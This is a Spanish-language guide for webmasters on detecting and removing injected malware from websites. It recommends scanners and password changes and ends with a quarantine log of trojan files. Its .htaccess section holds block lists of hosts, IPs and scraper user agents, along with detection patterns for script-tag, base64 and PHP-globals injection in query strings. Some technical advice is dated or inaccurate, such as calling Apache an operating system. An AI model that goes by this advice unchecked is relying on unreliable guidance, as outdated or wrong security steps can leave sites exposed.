

## **INTERNET Y SEGURIDAD**

### **WAM - Web Anti-Malware.**

**Autor** : José María Amenós Vidal. Psicólogo Clínico y Social (docencia e investigación desde 1984) por la Universidad Central de Barcelona (España). Miembro fundador y Administrador FPC.

Fundación Psicología y Cristianismo. c/ Museo, núm. 26 - 1ª 1ª. 08912. Badalona (Barcelona). España. e-mail : info@psicologos.tk - url : www.psicologos.tk

**Índice.** Introducción. 1. Análisis, detección y eliminación de Malware. 2. Protección con contraseña del puerto 8080, actualizar a IE8 e implementar un host local. 3. Cambiar la clave de acceso FTP y modificar el archivo .htaccess. Conclusiones. Google Search y Dasient WAM - Web Anti-Malware. Apéndice. Notas y Textos. Referencias bibliográficas. Agradecimientos. Palabras Clave.

### **Introducción.**

Escribo este breve artículo con algunas orientaciones para webmasters por si puede serles de utilidad ante la experiencia adquirida en combatir ataques malware que provienen de un servidor remoto de origen desconocido y que inyecta código malicioso en sitios legítimos.

Se preguntarán algunos que es el malware, pues todo tipo de software espía, virus informáticos, etc ... que se intenta insertar a través de iframes y/o scripts en el código fuente de las páginas web sin conocimiento del webmaster para infectar los PCs de los usuarios ...

### **1. Análisis, detección y eliminación de Malware.**

Para detectarlos es posible descubrirlos utilizando buenos programas informáticos, ... la primera recomendación es por tanto, aconsejarles unos de los mejores ...

Malwarebytes Anti-Malware tiene una actualización constante de su base de datos en cuanto a firmas de intrusiones, lo cual lo convierte en un poderoso rastreador de posibles infecciones ... dispone de una herramienta auxiliar que destruye cualquier archivo intoxicado y bloqueado en su sistema, ... se puede descargar en el sitio espejo de CNET (1).

Windows Live OneCare tiene un examen exhaustivo y completo que permite detectar los archivos infectados por código malicioso ...

Se debe analizar en primer lugar el propio PC por si ha resultado infectado, incluyendo en el análisis completo del sistema, una copia de seguridad de los archivos del sitio web infectado, ... al cabo de unas horas se nos indicará aquellos archivos infectados en nuestro ordenador que deben ser eliminados ... En cualquier caso, es necesario limpiar tanto nuestro PC como modificar aquellos archivos de la copia de seguridad analizada de nuestra página web que resultaron infectados.

Es decir, suprimir los virus o troyanos que se han introducido en el software de nuestro ordenador, así como devolver a su estado original aquellos archivos infectados de la copia de seguridad que han incluido código malicioso (iframes, scripts, etc ...) sin nuestro conocimiento, es decir, revisar el código fuente y repararlo, o bien, sustituyendo el archivo infectado por el archivo original correspondiente a alguna de las anteriores copias de seguridad que ofrezca garantías de no haber sido alterada ... utilizando para todo ello, la suma de análisis de Malwarebytes Anti-Malware + Windows Live OneCare ... para su detección, eliminación y reparación.

Una observación muy importante es que cualquier archivo de la copia de seguridad de la web en su PC con código malicioso que deban reparar, sea abierto única y exclusivamente con el bloc de notas para modificarlo, si deciden utilizar este método en vez de sustituirlo por el archivo original ante posibles dudas ... el tipo de iframes suelen contener urls seguidas de "8080" y en cuanto a los scripts maliciosos suelen ir precedidos de una etiqueta "ad".

Aunque siendo este un buen método de trabajo para ahorrar tiempo y esfuerzo, mi recomendación es cerciorarse, y explicaré la manera posible al existir la posibilidad de la no detección por los programas anti-malware de un mínimo porcentaje de archivos infectados, ... se trata de comprobar en el servidor remoto la fecha en que fueron modificados aquellos que han sido detectados como infectados por los analizadores anti-malware en la copia de seguridad de su web en el PC, esta fecha es el indicativo de cuando hubo intrusión en el servidor remoto, siendo este el marcador para repasar los códigos fuente de todos los demás archivos .php y .html. De este modo, habremos podido comprobar la totalidad de los archivos modificados con esa fecha con el fin de cerciorarnos de que no se encuentren dañados con iframes y scripts maliciosos, y en caso de estarlo reparar su código fuente eliminando el malware, teniendo así la certeza de que han sido detectados y reparados todos los archivos infectados.

## **2. Protección con contraseña del puerto 8080, actualizar a IE8 e implementar un host local.**

En segundo lugar, deberemos descargar otro programa necesario para proteger con contraseña nuestro puerto 8080 de la computadora, puesto que suele ser la ruta alternativa utilizada por el malware para infectarnos ... De este modo, es recomendable utilizar el complemento FDM Remote Control Server del programa de descargas Free Download Manager, que encontrarán en el sitio espejo de Source Forge (2).

En cualquier caso, es recomendable actualizar el navegador a Internet Explorer 8, porque posee una pestaña en la barra de herramientas muy útil, con el nombre "seguridad" que al marcarla despliega en su menú, la opción "directiva de privacidad de páginas web" (3).

Al marcar esta directiva de seguridad nos indica la lista de sitios que operan en su PC al abrir la dirección electrónica de nuestra página web, ... De esta manera podemos detectar entre los sitios indicados, aquellos que hayan sido insertados sin nuestra autorización ... porque nunca los hemos utilizado por alguna u otra razón en nuestra web .. siendo esta una buena medida para comprobar que la web está arreglada y saneada ... (4).

### **Simulación de páginas web.**

Se puede utilizar un buen simulador de páginas web a nivel de host local sin conexión a la red para comprobar el buen funcionamiento de nuestro sitio web con los archivos desinfectados, ... XAMPP, se trata de un programa de altas prestaciones, que incluye sistema operativo Apache, servidor FTP virtual, base de datos MySQL, etc ...

Con el fin de comprobar todos los supuestos que nos encontraremos al cargar nuevamente en el servidor remoto que aloja nuestro dominio todos aquellos archivos desinfectados de nuestra copia de seguridad que debe funcionar correctamente como la original.

En ocasiones puede ser incluso necesario con la ayuda de XAMPP volver a configurar de nuevo todos los parámetros, es decir, cargar las carpetas de archivos de configuración de la página web desde el principio, como si fuera la primera vez que crea su página electrónica.

Por ejemplo, con los CMS - Content Manager System, y ante la magnitud de los daños ocasionados por el malware, se puede recurrir a volver a configurar desde el principio los archivos del servidor FTP - File Transfer Protocol y SQL - Structured Query Language reaprovechando los archivos SQL de la última copia de seguridad de la base de datos en buen estado.

## **3. Cambiar la clave de acceso FTP y modificar el archivo .htaccess.**

Finalmente, cuando estemos seguros de que todo funciona normalmente es imprescindible que cambien la clave de acceso a su FTP en el servidor remoto, indicando este en particular por ser el sistema que generalmente se utiliza para blogs, es decir, modificar el username y password del administrador de archivos de su página web, ...

O dicho de otra manera, cambiar la contraseña de acceso al directorio que alberga por ejemplo todos los archivos de su CMS, si es este el sistema que habitualmente utilizan, como así ocurre entre otros con XOOPS 2.0. que incluye además de FTP una base de datos

MySQL de los que se debe exportar regularmente una copia de seguridad para tener guardados los contenidos tanto en el servidor remoto como en el host local.

Puesto que de esta manera al estar limpio el sitio web y PC impiden que se copie de forma remota desde un servidor desconocido la nueva contraseña encriptada ... y aseguran la web y su ordenador contra intrusiones procedentes del mismo malware que originó el ataque ...

De forma alternativa pueden fortalecer y proteger mayormente su página electrónica complementando todas estas medidas de seguridad con la modificación del archivo .htaccess de su servidor remoto, añadiendo a su contenido un nuevo código de seguridad mediante el uso del bloc de notas, pero para ello deben seguir las recomendaciones de un administrador de sistemas, porque se trata de lenguaje de programación y se necesita una persona especializada en seguridad informática. Aunque aquí les dejo un ejemplo de lo que deberían insertar y comprobar en el host local antes de subir el archivo .htaccess al servidor remoto con el fin de constatar el buen funcionamiento de su página web tras los cambios experimentados de modo que quede mejor asegurada ante posibles intrusiones no deseadas (5).

#### A. Código específico.

El código a insertar en el archivo .htaccess según el administrador de sistemas que lo ha diseñado con pseudónimo "emisho" de Falkland Islands es el siguiente :

#### I. Bloquea spammers, hackers, etc ...

RewriteEngine on

```
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?gameday.de.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?play-texas-holdem.gameday.de.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?craps.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?roulette-online.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?play-poker.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?onlinecasino.forever.kz.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texashold-em.freesevers.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?playonline.inn7winter.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?poker-new.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?available-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free-poker.available-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texasholdem.prv.pl.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?prv.pl.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?homestead.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texaspoker.homestead.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?t-e-x-a-s-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?texas-poker.olo.cc.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?holdem-poker.servertown.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?online-poker.played.by.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?empire-poker.black-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?black-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free.fr.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?pc800cdf.free.fr.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?free-poker.standard-poker.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cameralover.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?golfshoot.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?bitlocker.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?bayfronthomes.net.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?cafexml.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?turniptruck.com.*$ [NC]
RewriteCond %{HTTP_REFERER} ^http(s)?://(www\.)?trojan-horse.co.uk.*$ [NC]
RewriteRule .* - [F,L]
```

## II. Evita proxys y otros sitios no seguros ...

```
RewriteCond %{REMOTE_HOST} adm-muenchen\.de [NC,OR]
RewriteCond %{REMOTE_HOST} cyveillance\.com [NC,OR]
RewriteCond %{REMOTE_HOST} lightspeedsystems\.com [NC,OR]
RewriteCond %{REMOTE_HOST} pea016-29980-net-adsl-01\.altohiway\.com [NC,OR]
RewriteCond %{REMOTE_HOST} smartservercontrol\.com [NC,OR]
RewriteCond %{REMOTE_HOST} syntryx\.com [NC,OR]
RewriteCond %{REMOTE_HOST} proxad\.net [NC]
RewriteRule ^.*$ - [F]
```

## III. Bloquea IPs inseguras.

```
Order Allow,Deny
Allow from All
Deny from 38.118.42.36
Deny from 38.118.42.38
Deny from 58.233.142.144
Deny from 59.42.55.46
Deny from 62.77.178.22
Deny from 63.148.99
Deny from 70.84.132.74
Deny from 82.77.200.162
Deny from 83.116.211.100
Deny from 129.35.81.16
Deny from 142.131.18.2
Deny from 193.120.138.82
Deny from 200.114.66.249
Deny from 202.155.14.223
Deny from 211.157.8.43
Deny from 212.129.232.100
Deny from 212.141.49.20
Deny from 213.239.236.18
Deny from 220.194.54.26
Deny from 38.118.25.59
Deny from 62.252.32.14
Deny from 64.94.136.196
Deny from 65.183.39.107
Deny from 66.17.15.154
Deny from 69.118.3.227
Deny from 69.225.183.82
Deny from 70.253.192.107
Deny from 81.56.134.150
Deny from 81.144.218.50
Deny from 83.156.142.136
Deny from 129.33.184.57
Deny from 194.223.6.5
Deny from 213.83.89.5
Deny from 217.109.185.32
Deny from 12.22.85.3
Deny from 147.230.50.100
Deny from 148.244.150.58
Deny from 165.138.213.230
Deny from 193.159.244.70
Deny from 193.170.65.247
Deny from 194.102.61.162
Deny from 200.167.245.13
Deny from 200.168.105.137
Deny from 200.212.114.3
Deny from 200.56.224.5
Deny from 203.162.27.
Deny from 206.212.187.26
Deny from 207.195.241.4
```

Deny from 207.44.154.35  
Deny from 207.72.66.5  
Deny from 208.18.125.231  
Deny from 208.53.138.8  
Deny from 209.213.127.46  
Deny from 209.71.222.11  
Deny from 211.157.  
Deny from 211.249.118.  
Deny from 212.179.154.242  
Deny from 212.199.163.143  
Deny from 212.199.169.153  
Deny from 212.235.18.85  
Deny from 212.235.66.240  
Deny from 212.91.171.252  
Deny from 213.130.118.121  
Deny from 213.56.68.29  
Deny from 213.56.73.3  
Deny from 213.91.217.116  
Deny from 216.128.69.140  
Deny from 216.139.176.60  
Deny from 216.190.203.162  
Deny from 216.204.237.10  
Deny from 217.120.32.183  
Deny from 217.121.100.124  
Deny from 217.132.202.119  
Deny from 217.160.75.202  
Deny from 218.20.116.80  
Deny from 218.5.27.115  
Deny from 218.85.82.95  
Deny from 218.85.83.168  
Deny from 220.160.2.167  
Deny from 220.160.4.75  
Deny from 220.181.26.108  
Deny from 221.3.235.  
Deny from 24.69.156.45  
Deny from 61.144.185.75  
Deny from 61.172.65.176  
Deny from 61.30.47.21  
Deny from 61.30.47.22  
Deny from 62.148.230.  
Deny from 62.168.39.178  
Deny from 62.193.231.242  
Deny from 62.194.10.194  
Deny from 62.219.59.122  
Deny from 63.145.202.2  
Deny from 63.148.99.234  
Deny from 63.252.226.68  
Deny from 64.34.166.88  
Deny from 64.34.168.29  
Deny from 64.34.200.200  
Deny from 64.141.68.16  
Deny from 65.75.139.90  
Deny from 65.75.146.170  
Deny from 65.75.166.110  
Deny from 65.75.175.30  
Deny from 65.77.131.66  
Deny from 65.94.44.50  
Deny from 65.94.45.31  
Deny from 66.150.40.221  
Deny from 66.199.247.74  
Deny from 66.246.252.87  
Deny from 66.246.252.88  
Deny from 66.254.99.174

Deny from 66.33.197.209  
Deny from 66.93.178.158  
Deny from 66.98.152.93  
Deny from 66.98.162.34  
Deny from 67.15.130.23  
Deny from 68.208.4.19  
Deny from 69.0.197.227  
Deny from 69.156.204.43  
Deny from 69.163.158.82  
Deny from 69.50.170.122  
Deny from 69.50.170.162  
Deny from 72.36.199.154  
Deny from 80.132.64.103  
Deny from 80.237.140.233  
Deny from 80.58.11.107  
Deny from 80.58.22.107  
Deny from 80.58.4.107  
Deny from 80.95.  
Deny from 81.169.169.201  
Deny from 81.4.89.10  
Deny from 82.103.65.  
Deny from 82.81.204.164  
Deny from 82.81.228.82  
Deny from 84.189.  
Deny from 84.244.5.173

#### IV. Evita navegadores maliciosos.

RewriteCond %{HTTP\_USER\_AGENT} ^\$ [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^BlackWidow [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Bot\ mailto:craftbot@yahoo.com [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^ChinaClaw [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Custo [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^DISCo [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Download\ Demon [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^eCatch [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^EirGrabber [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^EmailSiphon [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^EmailWolf [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Express\ WebPictures [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^ExtractorPro [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^EyeNetIE [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^FlashGet [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^GetRight [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^GetWeb! [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Go!Zilla [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Go-Ahead-Got-It [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^GrabNet [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Grafula [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^HMView [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} HTTPTrack [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Image\ Stripper [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Image\ Sucker [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} Indy\ Library [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^InterGET [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^Internet\ Ninja [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} Java [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^JetCar [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^JOC\ Web\ Spider [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^larbin [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^LeechFTP [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^lwp:: [NC,OR]  
RewriteCond %{HTTP\_USER\_AGENT} ^lwp- [NC,OR]

```

RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Schmozilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^webcollage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeuse [NC]
RewriteRule ^.*$ - [F]

```

## B. Código genérico.

Hemos visto un código específico de ejemplo, ahora mencionaremos un código genérico para incluir en el archivo .htaccess que con pseudónimo "rancitis" de Argentina, lo tenemos en el que a continuación se indica:

```

##### Begin
#
# Bloquear cualquier script intentando de setear un valor mosConfig a través de la URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z]{1,21}(=|%3D) [OR]
# Bloquear cualquier script que intente base64_encode para enviar via URL
RewriteCond %{QUERY_STRING} base64_encode.*\.*) [OR]
# Bloquear cualquier script que incluya una etiqueta <script> en la URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]

```

```
# Bloquear cualquier script que intente de setear alguna variable PHP GLOBALS via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\\|%0-9A-Z){0,2} [OR]
# Bloquear cualquier script que intente modificar una variable _REQUEST via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\\|%0-9A-Z){0,2}
# Enviar todas las peticiones bloqueadas al homepage con un error 403!
RewriteRule ^(.*)$ index.php [F,L]
#
##### End
```

En realidad, los tres pasos fundamentales primera y anteriormente citados son los más importantes, para proteger a los usuarios y su sitio legítimo de posibles infecciones a causa de la inserción de código malicioso sin su conocimiento ... el complemento del archivo .htaccess es para fortalecer su protección ante nuevos ataques de malware.

## **Conclusiones.**

### **Google Search y Dasient WAM - Web Anti-Malware.**

En definitiva, si a pesar de todo existe aviso en el buscador Google de que su sitio ha distribuido durante los últimos 90 días software malicioso por causas ajenas a su voluntad, ... deberán utilizar las herramientas del webmaster, y seguir las instrucciones para introducir un código "meta" entre las etiquetas "head" antes de "body" de su web, ... para verificar que Ud. es el propietario del sitio en la red, ...

Y posteriormente utilizar el formulario habilitado al efecto y dirigir un correo al staff de Google search para que vuelvan a comprobar su sitio ya limpio de malware para conseguir eliminar el aviso de sitio malicioso.

Llegados a este punto, un buen programa para la prevención de intrusiones en sitios legítimos, es Dasient Web Anti-Malware ... que desarrolla la misma tecnología que utiliza Google para detectar en la red los sitios que distribuyen software malicioso (intencionado o no) ... (6).

### **Google Safe Browsing y Malware Domain List.**

Una herramienta para webmasters de gran utilidad para los internautas es la página de diagnóstico de navegación segura de Google safe browsing que combinada a la lista de dominios maliciosos de Malware domain list nos ofrece una buena manera de distinguir los sitios seguros e inseguros.

El funcionamiento consiste en añadir la dirección electrónica de cualquier sitio en Internet que queramos diagnosticar a la url de Google safe browsing, por ejemplo, del dominio [malwaredomainlist.com](http://malwaredomainlist.com) que nos ofrece dicha lista de dominios maliciosos.

Del siguiente modo : <http://www.google.es/safebrowsing/diagnostic?site=malwaredomainlist.com>

Es un buen modo, para determinar los sitios legítimos y/o que han sido víctimas de inyección de código malintencionado por servidores remotos que contienen dominios maliciosos.

### **Herramientas para webmasters.**

Mejora la visibilidad de tu sitio en los resultados de la búsqueda de Google. De forma gratuita.

Herramientas para webmasters de Google te brinda informes detallados acerca de la visibilidad de tus páginas en Google. Para comenzar, añade y verifica tu sitio e inmediatamente comenzarás a ver información.

Obtén el punto de vista de Google sobre tu sitio y diagnostica los problemas

Conoce el mecanismo de Google para rastrear e indexar tu sitio, así como los problemas específicos que experimentamos para acceder a él.



Descubre tu enlace y consulta el tráfico.

Visualiza, clasifica y descarga información completa acerca de los enlaces internos y externos a tu sitio con nuevas herramientas de informe de enlaces. Descubre las consultas que generan tráfico hacia tu sitio y la ruta que siguen exactamente los usuarios para llegar a él.

Comparte información sobre tu sitio.

Envíanos comentarios sobre tus páginas a través de Sitemaps: cuáles son las más importantes para ti y con qué frecuencia cambian. También nos puedes apuntar cómo te gustaría que aparecieran las urls que indexamos.

## **Apéndice.**

### **Malware e Internet : ejemplos prácticos.**

#### **Observaciones.**

Desde Internet se produce la infección de la unidad C del disco duro del PC, en varias carpetas del sistema, el origen es muy diverso y para entender más sobre esta cuestión en particular nos remitimos al apartado : Google Safe Browsing y Malware Domain List, su desinfección se puede realizar automáticamente a través del programa Malwarebytes Anti-Malware, o de forma manual, accediendo a la carpeta específica del subsistema, ... el modo de proceder en este segundo caso, es insertando el directorio en la ventana de direcciones de su navegador, del siguiente modo :

Por ejemplo, en el caso del agente troyano (trojan agent) de banca online iExplorer.exe que se encontraría en la ubicación C:\WINDOWS\iExplorer.exe debería introducir C:\WINDOWS en la barra de direcciones del navegador, como si quisiera visitar un sitio en Internet, y se abriría la carpeta que contiene la aplicación infectada iExplorer.exe, entonces lo único que tendría que hacer es suprimirlo para enviarlo a la papelera, y posteriormente vaciarla.

Sin embargo, en ocasiones estos troyanos permanecen ocultos, para visualizarlos tras acceder a la ubicación de su carpeta o subcarpeta contenedora, debería mostrar en su PC los archivos ocultos de la manera que se indica a continuación :

En el menú "Inicio" debe acceder a "Panel de control" y una vez allí abrir "Apariencia y temas", y después "Opciones de carpeta", después al desplegarse la ventana de diálogo, en la opción "Ver" deberá marcar la casilla "Mostrar todos los archivos y carpetas ocultos" y marcar "Aceptar" ...

Finalmente, cuando haya localizado las aplicaciones o archivos ocultos infectados, tras eliminarlos puede devolver la visibilidad de archivos o carpetas a su situación original, siguiendo los mismos pasos indicados, pero deberá en esta ocasión desmarcar la opción de "Mostrar todos los archivos y carpetas ocultos", o si bien, marcar la opción "Restaurar valores predeterminados", y después "Aceptar".

#### **Advertencia.**

No debe abrir las aplicaciones o archivos infectados, ... solamente la carpeta o subcarpeta que los contiene ... para acceder a eliminarlos.

#### **Ejemplos.**

Troyanos habituales en la red y desinfectados del PC de forma automática y/o manual ...

(\*) Rutas de acceso y malware (en negrita).

Elementos de Datos del Registro Infectados:

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon  
\Userinit (Trojan.Agent) -> Data: c:\windows\system32\userinit.exe -> Quarantined and  
deleted successfully.

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon  
\Userinit (Trojan.Agent) -> Data: system32\userinit.exe -> Quarantined and deleted  
successfully.

Ficheros Infectados:

C:\Documents and Settings\HP\_Propietario\Datos de programa\wiaserva.log  
(Malware.Trace) -> Quarantined and deleted successfully.

C:\WINDOWS\iExplorer.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\WINDOWS\ServicePackFiles\i386\userinit.exe (Trojan.Agent) -> Quarantined and deleted  
successfully.  
C:\WINDOWS\SoftwareDistribution\Download\4fcdf3a74fe834ce16dc12a720df5cc7  
\userinit.exe (Trojan.Agent) -> Quarantined and deleted successfully.

C:\WINDOWS\system\MSRLE.DRV (Trojan.Downloader) -> Quarantined and deleted  
successfully.

C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP185\A0032258.exe (Adware.ADON) -> Quarantined and deleted successfully.

C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039084.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039103.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039082.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039083.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039085.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039086.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039087.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039088.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039089.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039090.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039091.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039092.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
C:\System Volume Information\\_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}  
\RP235\A0039093.exe (Trojan.Agent) -> Quarantined and deleted successfully.  
